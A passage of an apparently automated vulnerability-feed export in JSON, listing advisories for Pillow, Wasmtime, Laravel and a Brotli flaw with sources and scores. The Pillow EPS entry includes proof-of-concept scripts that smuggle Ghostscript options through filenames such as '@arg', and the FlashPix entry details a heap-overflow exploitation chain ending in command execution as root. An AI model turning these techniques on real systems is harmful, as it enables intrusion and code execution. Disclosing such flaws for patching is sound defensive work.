RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"The Hacker News: Brotli Decoder Flaw Behind Node.js RCE Also Affects Bun, Python and Other Widely Used Software","url":"https://thehackernews.com/2026/10/brotli-decoder-flaw-behind-nodejs-rce.html","type":"reporting","publishedAt":"2026-10-24T11:09:29.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News: PHP Issues Second Windows Security Update in Five Days to Fix Brotli Code Execution Flaw","url":"https://thehackernews.com/2026/10/php-issues-second-windows-security.html","type":"reporting","publishedAt":"2026-10-26T17:45:57.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"SecurityWeek: Node2Shell: Brotli Flaw Triggers Patching Across Microsoft, Node.js, Python Packages","url":"https://www.securityweek.com/node2shell-brotli-flaw-triggers-patching-across-microsoft-node-js-python-packages/","type":"reporting","publishedAt":"2026-10-26T10:21:57.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"SecurityWeek syndication feed","url":"https://www.securityweek.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111497&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111497, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112900","cveId":"CVE-2026-112900","aliases":["GHSA-w889-685w-c8fh"],"kind":"vulnerability","title":"Critical Flaw in Python’s Popular Pillow Image Library Allows Code Execution via a Crafted Image","summary":"```python\ninfile_temp = None\nif hasattr(fp, \"name\") and os.path.exists(fp.name):\n infile = fp.name # user-controlled path used as-is, without validation\nelse:\n in_fd, infile_temp = tempfile.mkstemp()\n os.close(in_fd)\n infile = infile_temp\n # ... (copy fp into a temporary file)\n\nWhen rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.","detail":"### Summary\n`PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f `. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled).\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\n#### Type\nCWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)\n\n#### Vulnerable Codes\n\n```python\ninfile_temp = None\nif hasattr(fp, \"name\") and os.path.exists(fp.name):\n infile = fp.name # user-controlled path used as-is, without validation\nelse:\n in_fd, infile_temp = tempfile.mkstemp()\n os.close(in_fd)\n infile = infile_temp\n # ... (copy fp into a temporary file)\n\n# Build Ghostscript command\ncommand = [\n gs_binary,\n \"-q\",\n f\"-g{width:d}x{height:d}\",\n f\"-r{res_x:f}x{res_y:f}\",\n \"-dBATCH\",\n \"-dNOPAUSE\",\n \"-dSAFER\", # default sandbox — does NOT stop this injection\n f\"-sDEVICE={device}\",\n f\"-sOutputFile={outfile}\",\n \"-c\",\n f\"{-bbox[0]} {-bbox[1]} translate\",\n \"-f\",\n infile, # injected here: inserted into argv with no check for\n # option prefixes (-, --) or Ghostscript's @-file token\n # => argument injection (CWE-88)\n \"-c\",\n \"showpage\",\n]\n# ...\nsubprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript\n```\n\n#### Root cause. \n\nWhen rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.\n\n#### Affected\n- Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).\n- Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` — `infile = fp.name`, and the command list entry `\"-f\", infile`.\n\n#### Suggested fix\nNormalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`):\n```python\n if hasattr(fp, \"name\") and os.path.exists(fp.name):\n infile = os.path.abspath(fp.name) # was: infile = fp.name\n```\n`os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change.\n\n### PoC\ndockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.\n```\nFROM ubuntu:24.04\n\nRUN apt update\nRUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates\nRUN rm -rf /var/lib/apt/lists/*\nRUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0\nENV PATH=/venv/bin:$PATH\nWORKDIR /poc\nCOPY poc.py .\nCOPY poc-rce.py .\nCOPY arg .\n\nCMD [\"python3\", \"poc.py\"]\n```\npoc.py\n```\nimport os\nfrom PIL import Image\n\n############################################################################################\n# Attacker controlled file\n############################################################################################\n\nEPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\"\n\nname = \"-h\"\nwith open(name, \"wb\") as f:\n f.write(EPS)\n\n############################################################################################\n\nprint(f\"[*] Pillow opens a file whose name is {name!r}\")\nim = Image.open(name)\nprint(f\"[*] call `load()`; this paths calls `gs` command with '-f {name}'\")\ntry:\n im.load()\nexcept Exception as e:\n print(f\"[*] load() raised: {type(e).__name__}: {e}\")\n\nprint(\"CWE-88: argument injection; Pillow code doesn't validate argument name\")\nprint(\" This poc.py shows the vulnerability clearly.\")\nprint(\" If Pillow checks the name of file before it uses, It won't display `help`\")\n```\npoc-rce.py\n```\nimport os\nfrom PIL import Image\n\n############################################################################################\n# Attacker controlled file\n############################################################################################\n\nEPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\"\n\n# To chain this vulnerability into critical RCE, We need another arbitrary text file\n# In this script, it is `arg`.\nname = \"@arg\"\nwith open(name, \"wb\") as f:\n f.write(EPS)\n\n############################################################################################\n\nprint(f\"[*] Pillow opens a file whose name is {name!r}\")\nim = Image.open(name)\nprint(f\"[*] call `load()`; this paths calls `gs` command with '-f {name}'\")\nprint(f\"[*] and this leads to arbitrary command injection.\")\nprint(f\"*********************************************\")\ntry:\n im.load()\nexcept Exception as e:\n print(f\"*********************************************\")\n print(f\"[*] load() raised: {type(e).__name__}: {e}\")\n\nprint(\"\")\nprint(\"CWE-78: OS Command Injection;\")\nprint(\"CWE-88: Argument Injection ; Pillow code doesn't validate argument name\")\nprint(\" This poc.py s\n\nAffected package ranges reported by GitHub:\nPillow: >= 2.6.0, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T19:58:44.000Z","updatedAt":"2026-10-21T19:58:45.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python","Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-w889-685w-c8fh","asOf":"2026-10-21T19:58:45.000Z"},"epss":{"probability":0.01064,"percentile":0.64425,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112900&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-w889-685w-c8fh","url":"https://github.com/advisories/GHSA-w889-685w-c8fh","type":"primary","publishedAt":"2026-10-21T19:58:44.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112900","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112900","type":"primary","publishedAt":"2026-10-19T22:17:10.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"The Hacker News: Critical Flaw in Python’s Popular Pillow Image Library Allows Code Execution via a Crafted Image","url":"https://thehackernews.com/2026/10/critical-flaw-in-pythons-popular-pillow.html","type":"reporting","publishedAt":"2026-10-23T09:36:00.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112900&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112900, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115889","cveId":"CVE-2026-115889","aliases":["GHSA-897f-g5gm-fmxm"],"kind":"vulnerability","title":"Wasmtime: Bit-packing in Cranelift compiler causes silent overflow and miscompilation","summary":"In Wasmtime prior to v43, the Cranelift compiler backend bit-packs its SSA value indices in a way that can result in silent overflow in release builds, and result in incorrect value references in the IR resulting in arbitrary miscompilation. A very large Wasm function body, or one that is specially crafted to use many SSA values, can use this to force type-confusion or other arbitrary side-effects and escape the sandbox.\n\nCranelift was changed in Wasmtime v43 to use a full `u32` index, with checks if that limit is exceeded, and so is no longer susceptible to this bug.","detail":"## Summary\n\nIn Wasmtime prior to v43, the Cranelift compiler backend bit-packs its SSA value indices in a way that can result in silent overflow in release builds, and result in incorrect value references in the IR resulting in arbitrary miscompilation. A very large Wasm function body, or one that is specially crafted to use many SSA values, can use this to force type-confusion or other arbitrary side-effects and escape the sandbox.\n\nCranelift was changed in Wasmtime v43 to use a full `u32` index, with checks if that limit is exceeded, and so is no longer susceptible to this bug.\n\n## Impact\n\nA Wasmtime engine with default settings (using the Cranelift backend) on any architecture/platform could experience a sandbox escape from a specially-crafted Wasm module.\n\n## Patches\n\nWasmtime v36.0.19 has been released which fixes this issue.\n\nAffected package ranges reported by GitHub:\nwasmtime: < 36.0.19\nwasmtime: >= 37.0.0, < 43.0.0","action":"GitHub lists first patched versions: wasmtime: 36.0.19; wasmtime: 43.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:02:20.000Z","updatedAt":"2026-10-26T18:17:38.213Z","regions":["Global"],"vendor":null,"product":"wasmtime, wasmtime","stacks":["Rust crates","wasmtime","rust"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115889","asOf":"2026-10-26T18:17:38.213Z"},"epss":{"probability":0.00454,"percentile":0.39134,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115889&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-897f-g5gm-fmxm","url":"https://github.com/advisories/GHSA-897f-g5gm-fmxm","type":"primary","publishedAt":"2026-10-23T22:02:20.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-897f-g5gm-fmxm, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-115889","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115889","type":"primary","publishedAt":"2026-10-23T22:16:58.400Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115889&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115889, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112398","cveId":"CVE-2026-112398","aliases":["GHSA-5x8w-8jj5-q52h"],"kind":"vulnerability","title":"Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution","summary":"**Researcher**: Alex Bouffard (mixbo@pebwalker.com)\n\nA heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with `Image.open()`. The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional `olefile` dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39).","detail":"### Credits\n\n**Researcher**: Alex Bouffard (mixbo@pebwalker.com)\n\n### Summary\n\nA heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with `Image.open()`. The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional `olefile` dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39).\n\n### Details\n\n`FpxImagePlugin` decodes FlashPix (FPX) files, which are OLE2/CFBF compound documents.\n\n`Image.open()` auto-detects them from the OLE2 magic `D0CF11E0...` whenever the optional `olefile` package is installed (Pillow's documented dependency for FPX/MIC support), regardless of the file's extension.\n\nFor a JPEG-compressed subimage (`compression == 2`), the plugin builds a `\"jpeg\"` decode tile and derives the `(rawmode, jpegmode)` pair from attacker-controlled FPX color IDs through the `MODES` table ([`src/PIL/FpxImagePlugin.py` L25-L32](https://github.com/python-pillow/Pillow/blob/12.2.0/src/PIL/FpxImagePlugin.py#L25-L32)):\n\n```python\nMODES = {\n ...\n (0x00018000, 0x00017FFE): (\"RGBA\", \"LA\"), # rawmode \"LA\" (2 bytes/pixel)\n ...\n (0x00020000, 0x00020001, 0x00020002): (\"RGB\", \"YCC;P\"), # rawmode \"YCC;P\"\n}\n```\n\nThe Imaging output buffer for the tile is sized for the rawmode (here `\"LA\"` = 2 bytes/pixel) ([`src/decode.c` L223-L226](https://github.com/python-pillow/Pillow/blob/12.2.0/src/decode.c#L223-L226)):\n\n```c\nstate->bytes = (state->bits * state->xsize + 7) / 8; // \"LA\" gives 2 * xsize bytes/row\n...\nstate->buffer = (UINT8 *)calloc(1, state->bytes);\n```\n\nIn `JpegDecode.c` the rawmode string is mapped to a libjpeg `out_color_space`. Recognized modes (`CMYK`, `YCbCr`, `YCbCrK`, and so on) get a concrete colorspace, but `\"LA\"` and `\"YCC;P\"` are not recognized, so control reaches the fallback branch ([`src/libImaging/JpegDecode.c` L219-L221](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L219-L221)):\n\n```c\n/* Disable decoder conversions. */\ncontext->cinfo.jpeg_color_space = JCS_UNKNOWN;\ncontext->cinfo.out_color_space = JCS_UNKNOWN;\n```\n\nUnder `JCS_UNKNOWN`, libjpeg performs no color conversion and emits `cinfo.num_components` bytes per pixel, taken from the embedded JPEG's SOF marker, which the attacker sets to 4. So `jpeg_read_scanlines` writes `4 * width` bytes per row into a buffer allocated for only `2 * width` bytes ([`src/libImaging/JpegDecode.c` L252](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L252)):\n\n```c\nok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1); // writes 4*W into a 2*W buffer\n```\n\nThis is a heap out-of-bounds write with attacker-controlled length (the image width, up to tens of thousands of pixels, so about `2 * width` bytes of overflow per row) and attacker-controlled content (the decoded pixel data). The PoC weaponizes it: the overflow overwrites an adjacent Python `bytes` object's `ob_type` with a pointer to a fake `PyTypeObject` / `PyBufferProcs` vtable that the same overflow plants inside the decode buffer. When Pillow releases the input buffer, `PyBuffer_Release` walks `ob_type -> tp_as_buffer -> bf_releasebuffer` and executes `call *rax`; the PoC points that at `system@plt` (fixed, the interpreter binary is non-PIE) with `rdi` set to the command string, yielding command execution.\n\n### PoC\n\nTo facilitate an exact reproduction on an x86_64 machine, this PoC uses the version-pinned, ASLR-disabled Docker image from [Annex A](#annex-a-docker-setup).\n\nThe source code for the payload builder `make_payload.py` is in [Annex B](#annex-b-payload-builder-source).\n\n`vulnerable.py` is the program under test, a one-liner that opens the file it is given:\n\n```python\n#!/usr/bin/env python3\n# The entire vulnerable operation an application performs on an untrusted file.\nimport sys\nfrom PIL import Image\n\nImage.open(sys.argv[1]).load()\n```\n\nThe payload is a standalone `.fpx` file the attacker crafts on their own host; the target only ever opens the resulting file, so building it requires no access to or code execution on the target. We run `make_payload.py` inside the same container here purely for convenience, so its baked-in addresses (`--offset`, `system@plt`) match this pinned image. The payload redirects the hijacked indirect call to `system@plt` (`0x4206c0`, fixed because the interpreter binary is non-PIE) with a baked-in command:\n\n```console\n$ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx\n[control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0\n[control] opening it: vtable hijack -> call *0x4206c0 with rdi -> 'id'\n```\n\nThen open it with `vulnerable.py`:\n\n```console\n$ python3 vulnerable.py shell.fpx\nuid=0(root) gid=0(root) groups=0(root)\ncorrupted size vs. prev_size\n```\n\n`Image.open()` of the crafted file runs the baked command via `system(\"id\")`: command execution as the user running the image processing (root in the container).\n\nThe trailing `corrupted size vs. prev_size` is glibc aborting during interpreter teardown over the corrupted heap, after `id` has\nalready run.\n\nThe builder writes the command inline at the hijacked `rdi`, so `--cmd` is limited to 7 bytes (for example `id`, `id;w`). `--offset` and `system@plt` are constants of the pinned, ASLR-disabled image and hold across runs of it.\n\n### Impact\n\nThis is a heap-based buffer overflow (CWE-122) / out-of-bounds write (CWE-787) that leads to code execution. Any application or service that opens attacker-influenced files with Pillow and has the optional `olefile` dependency installed is affected: image upload and thumbnailing services, avatar and media processing, document and image conversion pipelines, and similar. Because detection is by OLE2 magic rather than file extension an\n\nAffected package ranges reported by GitHub:\npillow: <= 12.3.0","action":"GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:55:21.000Z","updatedAt":"2026-10-23T21:55:22.000Z","regions":["Global"],"vendor":null,"product":"pillow","stacks":["Python packages (PyPI)","pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-5x8w-8jj5-q52h","asOf":"2026-10-23T21:55:22.000Z"},"epss":{"probability":0.0057,"percentile":0.46927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112398&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-5x8w-8jj5-q52h","url":"https://github.com/advisories/GHSA-5x8w-8jj5-q52h","type":"primary","publishedAt":"2026-10-23T21:55:21.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-5x8w-8jj5-q52h, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112398","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112398","type":"primary","publishedAt":"2026-10-19T22:17:07.107Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112398&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112398, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114509","cveId":"CVE-2026-114509","aliases":["GHSA-f9x3-7vq9-cph6"],"kind":"vulnerability","title":"Laravel TokenGuard authentication bypass through non-string API credentials","summary":"Laravel's built-in TokenGuard, **when configured with a standard token-based API guard**, may be bypassed to authenticate as an arbitrary existing user without knowledge of their valid API token. \n\n**Under certain database configurations (MySQL/MariaDB)** an attacker can submit a specially crafted, non-string credential value that is mishandled during the authentication lookup, causing the underlying query to match an unintended user record rather than failing authentication as expected.","detail":"Laravel's built-in TokenGuard, **when configured with a standard token-based API guard**, may be bypassed to authenticate as an arbitrary existing user without knowledge of their valid API token. \n\n**Under certain database configurations (MySQL/MariaDB)** an attacker can submit a specially crafted, non-string credential value that is mishandled during the authentication lookup, causing the underlying query to match an unintended user record rather than failing authentication as expected.\n\n### Impact\nAn unauthenticated attacker may authenticate as another user without possessing that user's API token, leading to authentication bypass and account takeover on any route protected by the affected guard.\n\nAffected package ranges reported by GitHub:\nlaravel/framework: >= 13.0.0, < 13.29.0\nlaravel/framework: < 12.68.0","action":"GitHub lists first patched versions: laravel/framework: 13.29.0; laravel/framework: 12.68.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:50:27.000Z","updatedAt":"2026-10-23T21:50:28.000Z","regions":["Global"],"vendor":null,"product":"laravel/framework, laravel/framework","stacks":["PHP packages 